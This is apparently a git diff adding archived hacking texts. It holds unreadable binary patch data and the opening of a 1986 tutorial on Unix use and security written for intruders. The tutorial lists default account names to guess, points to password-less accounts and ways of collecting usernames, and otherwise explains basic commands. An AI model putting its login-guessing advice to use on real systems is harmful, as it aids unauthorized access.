+4.3 The COPS Package ..................................................................................................38 +4.4 Sun C2 Security Features .......................................................................................38 +4.5 Kerberos ..................................................................................................................39 + +5 KEEPING ABREAST OF THE BUGS .................................................................41 +5.1 The Computer Emergency Response Team ...........................................................41 +5.2 DDN Management Bulletins ...................................................................................41 +5.3 Security-Related Mailing Lists ...............................................................................42 +5.3.1 Security ....................................................................................................................42 +5.3.2 RISKS .......................................................................................................................42 +5.3.3 TCP-IP ......................................................................................................................42 + + iv + + + + + CONTENTS (concluded) + + +5.3.4 SUN-SPOTS, SUN-NETS, SUN-MANAGERS ....................................................42 +5.3.5 VIRUS-L ..................................................................................................................43 + +6 SUGGESTED READING ......................................................................................45 + +7 CONCLUSIONS .....................................................................................................47 + +REFERENCES ......................................................................................................................49 + +APPENDIX A - SECURITY CHECKLIST .........................................................................51 + + + v + + + + + + + vi + + diff --git a/textfiles.com/hacking/UNIX/unix.txt b/textfiles.com/hacking/UNIX/unix.txt new file mode 100644 index 0000000000000000000000000000000000000000..dd837ad7e47c49530251a0a61498731dd4754492 GIT binary patch literal 6016 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 P==|jQ+28;6fBgA3Ro~Lz literal 0 HcmV?d00001 diff --git a/textfiles.com/hacking/UNIX/unix.wek b/textfiles.com/hacking/UNIX/unix.wek new file mode 100644 index 0000000000000000000000000000000000000000..3022b4c2865c2b35f823f12dde1be338be849be8 GIT binary patch literal 5248 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 I|A((X0FZB&;Q#;t literal 0 HcmV?d00001 diff --git a/textfiles.com/hacking/UNIX/unix001.hac b/textfiles.com/hacking/UNIX/unix001.hac new file mode 100644 index 00000000..f4b20ecf --- /dev/null +++ b/textfiles.com/hacking/UNIX/unix001.hac @@ -0,0 +1,2821 @@ + ************************************************* + ************************************************* + ** ** + ** Unix Use and Security From ** + ** The Ground Up ** + ** ** + ** by ** + ** ** + ** The Prophet ** + ** ** + ** ** + ************************************************* + ************************************************* + +December 5, 1986. + +INTRODUCTION +------------ + The Unix operating system is one of the most heavily used mainframe +operating systems today. It runs on many different computers (Dec VAX's, AT&T's +3bx series, PDP-11's, and just about any other you can think of- including +PC's), and there are many different, but pretty much similar, versions of it. +These Unix clones go by many different names- here are the most common: Xenix, +Ultrix, Ros, IX/370 (for the IBM 370), PCIX (for the IBM PC), and Berkely (BSD) +Unix. This file will concentrate on AT&T System V Unix, probably the most +heavily used version. (The next most heavily used is Berkely Unix.) This file +will cover just about everything all but THE most advanced hacker will need to +know about the Unix system, from the most rodent information to advanced +hacking techniques. This is the second version of this file, and as I discover +any errors or new tricks, I will update it. This file is, to the best of my +knowledge, totally accurate, however, and the techniques in it will work just +as described herein. Note, that these techniques will work on System V Unix. +Not necessarily all, but most, should work on most other versions of Unix as +well. Later, if this file is received well, and there is demand for another, I +will release a file on yet more advanced techniques. If you wish to contact me, +I can be reached several ways. First, on these boards: + +Shadow Spawn XXX-XXX-XXXX +Private Sector XXX-XXX-XXXX (As prophet, not The Prophet...some rodent stole + my name.) +Ripco XXX-XXX-XXXX +Stalag 13 XXX-XXX-XXXX +Phreak Klass 2600 XXX-XXX-XXXX + +Or at this voice message system: + +800-556-7001 +Box 7023 + +I welcome any suggestions, corrections, or feedback of any kind. And lastly, +thanks for taking the time to read this: + +THE USUAL DISCLAIMER: +--------------------- + This file is for [of course] informational purposes only. I +don't take responsibility for anything anyone does after reading this file. +_______________________________________________________________________________ + + +IDENTIFYING UNIX SYSTEMS AND LOGGING IN +--------------------------------------- + A Unix system can easily be identified by its prompts. When you first +connect to a Unix system, you should receive the login prompt, which is usually +"Login:" (Note, that the first character may or may not be capitalized.) On +some systems, this prompt may be ";Login:" or "User:" (Again, the first letter +may or may not be capitalized.) This may be preceded by a short message, +(usually something like "WARNING!!! This system is for authorized users +only!"), the name of the company that owns the system, or the uucp network name +of the system. (The uucp facilities will be explained in detail later.) At this +point, you should enter the user name and press return. (You should be in +lowercase if your terminal supports it.) You should then receive the password +prompt, "Password:" (And yet again, the "P" may or may not be capitalized.) At +this point, you should enter your password and press return. If you have +specified the correct username/password pair, you will then be admitted into +the system. If you have entered a non-existant username or an incorrect +password, you will receive the message "Login incorrect" and will be returned +to the login prompt. There is little information given before login, and there +is no way to find valid usernames from pre-login information. + There are no "default" passwords in Unix. When the system is initially +set up, none of the default accounts or any of the accounts created by the +system operators has a password, until the system operator or the account owner +set one for the account. Often, lazy system operators and unwary users do not +bother to password many (and in some cases, all) of these accounts. To log in +under an account that doesn't have a password, you have only to enter the +username at the login prompt. + You may encounter some occasional error messages when attempting to log +in under certain accounts. Here are some of the more common messages, and their +causes: + 1. "Unable to change directory to /usr/whatever"-This means that the + account's home directory, the directory which it is placed in + upon logon, does not exist. On some systems, this may prevent + you from logging under that account, and you will be returned + to the login prompt. On other systems, you will simply be + placed in the root directory. If this is the case, you will + see the message "Changing directory to '/'". + 2. "No shell"-this means that the account's shell, or command + interpreter does not exist. On some systems, the account will + not be allowed to log in, and you will be returned to the login + prompt. On other systems, the account will be admitted into the + system using a default shell, usually the Bourne shell. (The + shell will be explained later.) If this is the case, you will + see the message "Using /bin/sh". + + +UNIX ACCOUNTS +------------- + There are two types of Unix accounts-user and superuser accounts. User +accounts are the normal user accounts. These accounts have no privileges. +Superuser accounts are the system operator accounts. These accounts have full +privileges, and are not bound by the file and directory protections of other +users. In Unix, there is no hierarchy of privileges-either an account has full +privileges, or it has none. + Unix usernames are up to 14 characters long, but usually are within the +range of 1-8. The usernames can contain almost any characters, including +control and special characters. (The accounts will usually not contain the +characters @, control-d, control-j, or control-x, as these characters have +special meanings to the Unix operating system.) The Unix system comes initially +configured with quite a few default accounts, some of which are superuser and +some of which are only user-level accounts. Here is a list of the default +accounts which usually have superuser privileges: +root (Always!) +makefsys +mountfsys +umountfsys +checkfsys + +The root account is always present on the system, and always has superuser +capabilities. (Note: most Unix System V systems come initially set up with a +security feature that prevents superuser accounts from logging in remotely. If +you attempt to log in under a superuser account remotely on a system with this +feature, you will receive the message "Not on console", and will be refused +admission to the operating system. This will NOT prevent you from using +superuser accounts remotely-you simply have to log in under a user account and +then switch over to a superuser account using the su utility, which will be +described later.) +Here is a list of the user-level default accounts: +lp +daemon +trouble +nuucp +uucp +bin +rje +adm +sysadm +sync + +The bin account, although it is only a user account, is particularly powerful, +as it has ownership of many of the system's important directories and files. +Although these are the only default accounts on System V Unix, there are many +other accounts which I have found to be common to many Unix systems. Here is a +list of some of the accounts I have found on many Unix systems: +batch admin user demo test +field unix guest pub public +standard games general student help +gsa tty lpadmin + +Also try variations on the account names, such as rje1, rje2, user1, user2, +etc. Also, try variations on people's names and initials, such as doej, doe, +john, johnd, jjd, etc. + No matter what the format for the usernames, one thing is common to all +systems-almost all of the usernames will begin with a lowercase letter. There +is a good reason for this-when logging into the system, if the first character +of the username you type in is in uppr-case, the system automatically assumes +that your terminal does not support lower-case. It will then send all output to +you in upper-case, with characters that are supposed to be upper-case preceded +by a backslash ("\", the Unix escape character), to differentiate them from the +characters which are meant to be in lower-case. Unix *always* differentiates +between the cases, so it is best to stay in lower-case while on the system. + As mentioned before, there are no "default" passwords on Unix. When an +account is created, it has no password, until the superuser or the account's +owner sets one for it. Unix passwords are a maximum of 11 characters. The +password may contain any character, and the system distinguishes between upper +and lower case characters. Many Unix systems implement a special security +feature under which passwords must contain at least 2 non-alphanumeric +characters (similar to Compuserve's password protection). Yet another password +security feature of Unix allows the superuser to set an expiration date on +users' passwords. + + +COMMAND LOGINS +-------------- + Many systems have accounts known as "command logins". These are +accounts that log in, execute a single command, and are then logged out. These +accounts rarely have passwords. Here is a list of common command logins: +who -This is a particularly useful command login. When you enter this at + the username of a system with this particular account, the system will + display a list of the users currently on the system. A good way to get + valid usernames to hack. +time -Not very useful. Just displays the time. +date -Ditto the above, but displays the current date. Great if you don't + have a calendar. +sync -This default account is sometimes set up as a command login. It merely + executes the sync command, which causes any data which is meant to be + stored to be written to disk. + +UNIX SPECIAL CHARACTERS +----------------------- + The Unix operating system interprets certain characters in special +ways. Provided here is a list of those special characters, and their meanings +to the Unix operating system: + +Control-D -This is the Unix end-of-file character. +Control-J -Some systems interpret this, rather than Control-M, as the + return character, while others may use both. The vast majority, + however, will only use Control-M. +Control-Delete -This is the Unix kill character. It will automatically end + your current process. +@ -Some systems use this as the kill character. +\ -This is the Unix escape character. Its main use it to + differentiate between upper- and lower-case characters when + logged in on a terminal that only supports upper-case. For + instance, if you wanted to send the command "cd /Mrs/data", + (never mind what it does right now), you would type this: + (this is how it would look on your upper-case only terminal) + CD /\MRS/DATA + The backslash before the M would let the system know that the M + supposed to be upper-case, while the others would simply be + interpreted as lower-case. + + The characters will rarely be used in usernames and passwords because +of the way they are interpreted. Note, however, that these values may usually +be changed once inside the system using the stty command, which will be +explained later. for instance, the end of file character could be changed to +control-A if you wished. + +THE UNIX SHELL +-------------- + The Unix shell is the command interpreter program that accepts your +input and carries out your commands. It is NOT the operating system itself, it +is the interface between the user and the operating system. The shell is a +program that is executed when you are logged in, and when you end the shell +program, you are logged out of the system. There is nothing special about the +shell program-it is just a regular program, like any other on the Unix system. +In fact, once you are logged on, you can execute another shell just as you +would execute a program. This ability, to run multiple shell levels, can be +used to perform some interesting tricks that will be detailed later in this +file. There is also more than one kind of shell. All the shells perform the +same basic function of interpreting the user's commands, but there are a few +differences. Here is a list of the different shells, their unique +characteristics, and how to tell which shell you are using: + +Shell +----- +sh -This is the Bourne shell, the standard shell of Unix System V, and the + focus of this file. This shell gives user-level accounts a command + prompt of "$", and "#" for superuser accounts. On Berkely BSD Unix, + this shell gives an ampersand ("&") prompt. + +csh -This is the C shell, developed by the Berkely University Science + department. This shell is pretty much the same as the Bourne shell, but + features different shell programming control structures [shell + programming will be explained later, in the section on Unix software + development], and has a few luxuries such as aliasing (giving a command + or a series of commands a new name), and it keeps a history of the + commands you enter. This shell gives a "%" prompt for user accounts and + a "#" prompt for superuser accounts. + +ksh -This is the new, Korn shell. This shell combines features of both the + Bourne shell and the C shell. It boasts the Bourne shell's easier shell + programming, along with the C shell's aliasing and history. Its prompts + are "$" for users and "#" for superusers. + +rsh -This is the restricted Bourne shell. It is used for accounts that the + superuser wishes to restrict the commands available to. It will not + allow you to execute commands outside of your searchpath (which will be + explained later, also, in the section on software development), and + will not let you change directories or change the values of shell + variables. In all other respects, it is similar to the Bourne shell. A + later section of this file will detail ways to overcome the + restrictions of this shell. + +ua -This is a lousy, menu-driven shell for the AT&T Unix PC. (Yes, there + are some of those with dialups!) It implements a lousy windowing + system that is SLOOOW, even at 2400 baud. Luckily, you can exit to the + Bourne shell from the ua shell. + + These are by no means all of the shells you will run across. These are +only the "official" shells provided by the distributors of the Unix operating +system. I've run across many "home-made" shells in my time. Also, any compiled +program can be used as a shell. For instance, I've used systems run by +businesses where one account logged in using an accounting program as a shell. +This prevented the account from being used to do anything other than use the +accounting program. Other good examples of this are the command logins-the who +command login, for example, uses the who program as its shell. When the program +is finished, the account is logged out. You will most definitely encounter +other such accounts as you hack Unix. + +UNIX FILES AND DIRECTORIES +-------------------------- + Unix files and directories are referenced with pathnames, a la MS-DOS. +If you are familiar with MS-DOs, then you should have no problem understanding +this section. Unix files and directories are referenced in the almost the exact +same way-the only difference is that it uses the "/" character, not the +backslash, to separate the directories in the pathname. + Pathnames are a simple concept to understand, but are difficult to +explain. Imagine the system's files and directories laid out in a tree fashion, +like this: + / (root directory) + : + : + ------------------------- + : : + : : + usr (dir) bill (dir) + : : + -------------- -------------- + : : : : + junk (file) source (dir) memo (file) names (file) + : + +"/" is the root directory. This is the top directory in the system tree, and +all other files and directories are referenced in relation to this directory. +The root directory has 2 subdirectories in it, "usr" and "bill". In the usr +directory, there is a file called "junk" and an empty directory called +"source". In the directory bill, there are 2 files, "memo" and "names". You +specify pathnames by starting at the top of the system, "/", and tracing your +way down the system tree to the file or directory you wish to reference, +separating each directory you must pass through to get to it with a slash. For +instance, the pathname of the file "junk" would be "/usr/junk". The pathname of +the usr directory would be "/usr". The pathname of the source directory would +be "/usr/source". The pathname of the bill directory would be "/bill", and the +pathnames of the 2 files which reside in it would be "/bill/memo" and +"/bill/names". + Files and directories can also be referenced by their base names if +they are in your current directory. For instance, if you were in the directory +"usr", you could reference the file "/usr/junk" by its base name, "junk". If +you were in the root directory, you could reference the bill directory by its +base name, "bill". You can reference the file directly above your current +directory in the system tree as ".." and your current directory can be +referenced as "." + Unix file and directory names can be up to 14 characters in length. The +filename can contain any ASCII character, including control characters, except +a space. It may contain both upper- and lower-case, and Unix does distinguish +between the two. Unix does not use filename extensions, a la VMS or MS-DOS, to +show the kind of file a file is. A period, in Unix, is just another character +in the filename, not a separator between 2 fields in the name. File names which +begin with a period are called "hidden" files-that is, they are only revealed +if you issue a special command. + There are 3 kinds of files in Unix. These are text files, binary files, +and device files. Text files are just what you'd think they are from the name- +files of ASCII text, just like what you're reading right now. Binary files are +executable machine-code files. (There are also executable text files, called +shell scripts, that will be explained in detail in the section on Unix software +development.) Device files are files that represent the system's I/O devices- +disk drives, terminals, etc. Remember, that Unix was created as an enviroment +for software development. Its designers wished for programs written for Unix +systems to be as transportable between different models of machines running +the operating system as possible. By representing the I/O devices as files, +they eliminated the incompatability in the code that handled I/O. The program +simply has to read and write from/to the file, and the Unix operating system +handles the system-dependant details. + +BASIC UNIX COMMANDS +------------------- + This section will describe some basic Unix commands, and detail how to +get further help on-line. It will briefly provide the syntax for a few commands +you will find necessary to know in order to find your way around on the system. + Unix will usually only require that you use the base name of a file or +directory you wish to reference if it is in the directory you are currently in. +Most commands will also let you specify full pathnames if you wish to reference +files in other parts of the system. Most commands will also let you use several +wildcard characters when referencing files and directories. These are: +? -This means to accept any single character in the place of the question + mark. For instance, "t?m" would include both "tom" and "tim". + +* -This means to accept any character, group of characters, or nothing in + the position of the asterisk. For example, "t*m" would include "thom", + "tom", and "tim". +[] -This means to accept any character within the brackets in the position + of the brackets. For instance, "t[oia]m" would include "tom", "tim", + and "tam". You can also specify a range of characters in the brackets + by using a hyphen. For instance, "t[a-c]m" would include "tam", "tbm", + and "tcm". + + Most commands and programs in Unix take their input from the keyboard +and send their output to the screen. With most commands and programs, however, +you can instruct them to draw their input from a text file and redirect their +output to another file instead. For instance, assume there is a program on the +system called "encrypter", that takes its input from the keyboard, encrypts it, +and displays the encrypted data on the screen. You could instruct the program +to take its input, instead, from a previously prepared text file using the +input redirection character, "<". In Unix, as in MS-DOs (which is based in part +on Unix), you execute a program by typing its name. You wish the program to +take its input from a file in the directory you are currently in called +"top_secret". You would type "encrypter < top_secret". The program would then +read in the contents of the file top_secret and encrypt it, then print out the +encrypted form on the screen. Suppose you wanted to use the encrypter program +to encrypt files you wished to keep private? You could redirect the encrypted +output from the screen into another file. To do this, you would use the output +redirection character, ">". Say, you wished to save the output in a file called +"private". You would type "encrypter < top_secret > private". The encrypter +program would then read in the contents of the file top_secret and write the +encrypted output into the file "private". Nothing would be displayed to the +screen. If the file private does not exist, it will be created. If it +previously existed, its contents will be erased and replaced with the output +from the encrypter program. Perhaps you would want to add to the contents of a +file rather than replace its contents? This is done with ">>". The command +"encrypter < top_secret >> private" would append the output from the encrypter +to the current contents of the file private. Again, if the file private does +not already exist, it will be created. + Most commands have one or more options that you can specify. These are +placed after the command itself in the command line, and preceded by a hyphen. +For instance, let's say that the encrypter program had an option called +"x", which caused it to use a different encoding algorithm. You would +specify it by typing "encrypter -x". If a command has two or more options, you +can usually specify one or more together in a stream. For instance, let's say +that the encrypter program has 2 options, x and y. You could specify both like +this: "encrypter -xy". If one or more of the options requires an argument, for +example the x option requires a 2 character key, you can specify the options +separately, like this: "encrypter -xaa -y", where aa is the 2-character key. + The pipe character, "|", is used to channel the output of one command +or program into the input of another. For instance, suppose you had a command +called "report" that formatted documents into report format, and you had a file +called "myreport" that you wished to view in the report format. You could type: +"cat myreport" | report". This would type out the contents of the file myreport +to the report command rather than the screen, and the report command would +format it and display it on the screen. (Note: this example could have been +done with I/O redirection by typing "report < myreport"...but it makes a good +example of the use of pipes.) + You can choose to execute commands and programs in the background-that +is, the command executes, but you are free to carry out other tasks in the +meantime. To do this, type in the command line, followed by " &". For instance, +"rm * &" would delete all the files in the directory, but your terminal would +not be tied up. You would still be free to perform other tasks. When you do +this, the system will print out a number and then return you to the system +prompt. This number is the process number of the command. Process numbers will +be explained later in this section in the entry for the command "ps". The +command can be stopped before its completion with the kill command, also +explained in this section. Example: + $rm * & + 1234 + $ + +Note that when you use background processing, the command or program will still +takes its input from the keyboard (standard input device) and send its output +to the screen (standard output device), so if you wish for the command to work +in the background without disturbing you, you must redirect its input (if any) +and its output (if it's to the screen). + +THE COMMANDS +------------ + +ls -This command lists the files and subdirectories in a directory. If you + simply type "ls", it will display the files in your current directory. + You can also specify the pathname of another directory, and it will + display the files in it. It will not display hidden files (files whose + name begins with a period). + + Options: + a -This option will display all files, including hidden files. + + Example: + $ ls -a + + . .. junk source + $ + +cd -This is the command used to move from one directory to another. To go + to a directory directly below your current directory, type "cd + ". To move up to the directory directly above your current + directory, type "cd .." You can also jump to any directory in the + system from any other directory in the system by specifying the path- + name of the directory you wish to go to, such as "cd /usr/source". + + Example: + $cd /usr/source + $ + +pwd -This prints out the pathname of the directory you are currently in. + Useful if you forget where you're at in the system tree. + + Example: + $pwd + /usr/source + +cat -Displays the contents of a text file on the screen. The correct syntax + is "cat ". You can use basenames or pathnames. + + Example: + $cat memo + Bill, + Remember to feed the cat! + -Martha + $ + +rm -This deletes a file. Syntax: "rm ". + + Example: + $rm junk + $ + +cp -Copies a file. Syntax: "cp file1 file2", where file1 is the file you + wish to copy, and file2 is the name of the copy you wish to create. If + file2 already exists, it will be overwritten. You may specify pathnames + for one or both arguments. + + Example: + $cp /usr/junk /usr/junk.backup + +stty -Displays/sets your terminal characteristics. To display the current + settings, type "stty". To change a setting, specify one of the options + listed below. + + Options: + echo -System echoes back your input. + noecho -System doesn't echo your input. + intr 'arg' -Sets the break character. The format is '^c' for control-c, + etc. '' means no break character. + erase 'arg' -Sets the backspace character. Format is '^h' for control-h, + etc. '' means no backspace character. + kill 'arg' -Sets the kill character (which means to ignore the last line + you typed). Format is the same as for intr and erase, + '^[character]', with '' meaning no kill character. + + Example: + $stty intr '^c' erase '^h' + $stty + stty -echo intr '^c' erase '^h' kill '^x' + +lpr -This command prints out a file on the Unix system's printer, for you + to drop by and pick up (if you dare!) The format is "lpr ". + + Example: + $lp junk + +ed -This is a text file line editor. The format is "edit ". The + file you wish to modify is not modified directly by the editor; it is + loaded into a buffer instead, and the changes are only made when you + issue a write command. If the file you are editing does not already + exist, it will be created as soon as issue the first write command. + When you first issue the edit command, you will be placed at the + command prompt, ":" Here is where you issue the various commands. Here + is list of some of the basic editor commands. + # -This is any number, such as 1, 2, etc. This will move you down + to that line of the file and display it. + d -This deletes the line you are currently at. You will then be + moved to the previous line, which will be displayed. + a -Begin adding lines to the file, just after the line that you + are currently on. This command will put you in the text input + mode. Simply type in the text you wish to add. To return to the + command mode, type return to get to an empty line, and press + the break key (which is whatever character you have set as your + break key). It is important to set the break character with + stty before you use the editor! + / -Searches for a pattern in the file. For example, "/junk" would + search the file from your current line down for the first line + which contains the string "junk", and will move you to that + line if it finds one. + i -Insert. Works similar to a, except that the text is inserted + before the line you are currently on. + p -Prints out a line or lines in the buffer. "p" by itself will + display your current line. "#p" will display the line "#". + You may also specify a range of lines, such as "1,3p" which + will display lines 1-3. "1,$p" will print out the entire file. + w -Write the changes in the buffer to the file. + q -Quit the editor. + + Example: + $edit myfile + Editing "myfile" [new file] + 0 lines, 0 characters + :a + I am adding stupid text to myfile. + This is a test. + ^c [this is assumed as a default break character in this example] + :1,$p + I am adding stupid text to myfile. + This is a test. + :2 + This is a test. + :d + I am adding stupid text to myfile. + :w + :q + $ + +grep -this command searches for strings of text in text files. The format is + grep [string] [file]. It will print out every line in the file that + contains the string you specified. + + Options: + v -Invert. This will print out every line that DOESN'T contain + the string you specified. + + Example: + $ grep you letter + your momma! + I think you're going to get caught. + $ + +who -This will show the users currently logged onto the system. + + Example: + $ who + + root console Mar 10 01:00 + uucp contty Mar 30 13:00 + bill tty03 Mar 30 12:15 + $ + Now, to explain the above output: the first field is the username of + the account. The second field shows which terminal the account is on. + Console is, always, the system console itself. On many systems where + there is only one dialup line, the terminal for that line is usually + called contty. the tty## terminals can usually be either dialups or + local terminals. The last fields show the date and time that the user + logged on. In the example above, let's assume that the current time and + date is March 30, and the time is 1:00. Notice that the time is in 24 + hour format. Now, notice that the root (superuser) account logged in on + March 10! Some systems leave the root account logged in all the time on + the console. So, if this is done on a system you are using, how can you + tell if the system operator is really online or not? Use 